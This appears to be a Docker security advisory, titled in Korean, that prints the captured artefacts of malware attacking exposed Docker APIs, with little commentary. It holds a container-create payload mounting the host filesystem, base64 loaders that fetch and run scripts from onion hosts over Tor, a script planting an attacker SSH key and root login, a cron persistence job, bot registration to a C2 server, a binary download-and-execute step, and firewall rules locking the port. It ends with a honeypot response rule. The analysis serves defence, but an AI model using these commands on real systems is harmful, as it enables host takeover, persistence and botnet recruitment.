Docker 주의보: 노출된 API를 표적으로 삼는 새로운 멀웨어 변종

{
  "Image": "alpine:latest",
  "Cmd": [
    "sh",
    "-c",
    "export IP=<honeypot_ip>; echo YXBrIHVwZGF0ZSAmJiBhcGsgYWRkIGN1cmwgdG9yICYmIHRvciAmIHdoaWxlICEgY3VybCAtZnMgLS1wcm94eSBzb2NrczVoOi8vbG9jYWxob3N0OjkwNTAgaHR0cHM6Ly9jaGVja2lwLmFtYXpvbmF3cy5jb207IGRvIHNsZWVwIDEwOyBkb25lOyBjdXJsIC1mcyAtLXByb3h5IHNvY2tzNWg6Ly9sb2NhbGhvc3Q6OTA1MCBodHRwOi8vd3R4cWY1NGRqaHA1cHNrdjJsZnlkdXViNWlldnhieXZsempnam9wazZoeGdlNXVtb21icjYzYWQub25pb24vc3RhdGljL2RvY2tlci1pbml0LnNoIHwgc2g= | base64 -d | sh"
  ],
  "Tty": true,
  "HostConfig": {
    "Binds": [
      "/:/hostroot:rw"
    ],
    "RestartPolicy": {
      "MaximumRetryCount": 0,
      "Name": "always"
    }
  }
}

apk update && apk add curl tor && tor & while ! curl -fs --proxy socks5h://localhost:9050 https://checkip.amazonaws.com; do sleep 10; done; curl -fs --proxy socks5h://localhost:9050 http://wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion/static/docker-init.sh | sh

#!/bin/sh
echo "Karuizawa running..."
if [ -d "/hostroot" ]; then
SC="/hostroot/etc/ssh/sshd_config";{ printf "PermitRootLogin yes\nPubkeyAuthentication yes\n"; cat $SC; } > t.txt && mv t.txt $SC && echo "ecdsa-sha2-nistp521 AAAAE2VjZHNhLXNoYTItbmlzdHA1MjEAAAAIbmlzdHA1MjEAAACFBAHTVlJAQr3MiANW6KZjiPrzlIsVXkATKxKGrwFM4ylE31c4psnz1NdsKVSG7mVmB3bjmBRL3d4JmpKNByGPXeF9LgAOU4t5Olcwhl0x+ci8zwg6xV+dq/YABOxNZr5MI1dVfkmZ86+iGRnt03TB28n0RH1zbJ+x21jw5iJSwoUe+rkD1A==" >> /hostroot/root/.ssh/authorized_keys
echo "* * * * * root echo 'aWYgY29tbWFuZCAtdiBzeXN0ZW1jdGwgJj4gL2Rldi9udWxsOyB0aGVuCiAgICBzeXN0ZW1jdGwgcmVsb2FkIHNzaGQgMj4vZGV2L251bGwgfHwgc3lzdGVtY3RsIHJlbG9hZCBzc2gKZWxpZiBbIC14IC9ldGMvaW5pdC5kL3NzaCBdOyB0aGVuCiAgICAvZXRjL2luaXQuZC9zc2ggcmVsb2FkCmVsaWYgWyAteCAvZXRjL2luaXQuZC9zc2hkIF07IHRoZW4KICAgIC9ldGMvaW5pdC5kL3NzaGQgcmVsb2FkCmVsc2UKICAgIGVjaG8gImVyciIKZmkKClBPUlQ9MjM3NQpQUk9UT0NPTD10Y3AKCmZvciBmdyBpbiBmaXJld2FsbC1jbWQgdWZ3IHBmY3RsIGlwdGFibGVzIG5mdDsgZG8KICBpZiBjb21tYW5kIC12ICIkZnciID4vZGV2L251bGwgMj4mMTsgdGhlbgogICAgY2FzZSAiJGZ3IiBpbgogICAgICBmaXJld2FsbC1jbWQpCiAgICAgICAgZmlyZXdhbGwtY21kIC0tcGVybWFuZW50IC0tem9uZT1wdWJsaWMgLS1hZGQtcmljaC1ydWxlPSJydWxlIGZhbWlseT0naXB2NCcgcG9ydCBwb3J0PScke1BPUlR9JyBwcm90b2NvbD0nJHtQUk9UT0NPTH0nIHJlamVjdCIKICAgICAgICBmaXJld2FsbC1jbWQgLS1yZWxvYWQKICAgICAgICA7OwogICAgICB1ZncpCiAgICAgICAgdWZ3IGRlbnkgIiR7UE9SVH0vJHtQUk9UT0NPTH0iCiAgICAgICAgdWZ3IHJlbG9hZAogICAgICAgIDs7CiAgICAgIHBmY3RsKQogICAgICAgIGVjaG8gImJsb2NrIGRyb3AgcHJvdG8gJHtQUk9UT0NPTH0gZnJvbSBhbnkgdG8gYW55IHBvcnQgJHtQT1JUfSIgfCBwZmN0bCAtYSBjdXN0b21fYmxvY2sgLWYgLQogICAgICAgIDs7CiAgICAgIGlwdGFibGVzKQogICAgICAgIGlwdGFibGVzIC1JIElOUFVUIDEgLXAgIiR7UFJPVE9DT0x9IiAtLWRwb3J0ICIke1BPUlR9IiAtaiBEUk9QCiAgICAgICAgOzsKICAgICAgbmZ0KQogICAgICAgIGlmICEgbmZ0IGxpc3QgdGFibGVzIHwgZ3JlcCAtcSAiaW5ldCI7IHRoZW4KICAgICAgICAgIG5mdCBhZGQgdGFibGUgaW5ldAogICAgICAgICAgbmZ0IGFkZCBjaGFpbiBpbmV0IGZpbHRlciB7IHR5cGUgZmlsdGVyIGhvb2sgaW5wdXQgcHJpb3JpdHkgMCBcOyB9CiAgICAgICAgZmkKICAgICAgICBuZnQgYWRkIHJ1bGUgaW5ldCBmaWx0ZXIgaW5wdXQgIiR7UFJPVE9DT0x9IiBkcG9ydCAiJHtQT1JUfSIgZHJvcAogICAgICAgIDs7CiAgICBlc2FjCiAgICBicmVhawogIGZpCmRvbmUKCmVjaG8gIiIgPiAvZXRjL2Nyb250YWIK' | base64 -d | sh" >> /hostroot/etc/crontab
fi
apk add masscan libpcap libpcap-dev zstd torsocks
curl --proxy socks5h://localhost:9050 http://wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion/bot/add -X POST -H "Content-Type: application/json" -d '{"enter": "docker", "ip": "'$IP'", "arch": "'$(uname -m)'" }'
torsocks wget -O /tmp/system.zst "http://2hdv5kven4m422wx4dmqabotumkeisrstzkzaotvuhwx3aebdig573qd[.]onion:9000/binary/system-linux-$(uname -m).zst"
zstd -d /tmp/system.zst -o /tmp/system
chmod +x /tmp/system
ulimit -n 65535
/tmp/system
sleep 30

PORT=2375
PROTOCOL=tcp

for fw in firewall-cmd ufw pfctl iptables nft; do
  if command -v "$fw" >/dev/null 2>&1; then
    case "$fw" in
      firewall-cmd)
        firewall-cmd --permanent --zone=public --add-rich-rule="rule family='ipv4' port port='${PORT}' protocol='${PROTOCOL}' reject"
        firewall-cmd --reload
        ;;
      ufw)
        ufw deny "${PORT}/${PROTOCOL}"
        ufw reload
        ;;
      pfctl)
        echo "block drop proto ${PROTOCOL} from any to any port ${PORT}" | pfctl -a custom_block -f -
        ;;
      iptables)
        iptables -I INPUT 1 -p "${PROTOCOL}" --dport "${PORT}" -j DROP
        ;;
      nft)
        if ! nft list tables | grep -q "inet"; then
          nft add table inet
          nft add chain inet filter { type filter hook input priority 0 \; }
        fi
        nft add rule inet filter input "${PROTOCOL}" dport "${PORT}" drop
        ;;
    esac
    break
  fi
done

curl --proxy socks5h://localhost:9050 http://wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion/bot/add -X POST -H "Content-Type: application/json" -d '{"enter": "docker", "ip": "'$IP'", "arch": "'$(uname -m)'" }'

torsocks wget -O /tmp/system.zst "http://2hdv5kven4m422wx4dmqabotumkeisrstzkzaotvuhwx3aebdig573qd[.]onion:9000/binary/system-linux-$(uname -m).zst"

- regex: "^/_ping/?$"
    headers:
      - "Content-Type: text/plain; charset=utf-8"
      - "Server: Docker/24.0.7 (linux)"
      - "Api-Version: 1.43"
      - "Docker-Experimental: false"
      - "Ostype: linux"
    statusCode: 200
    handler: "OK"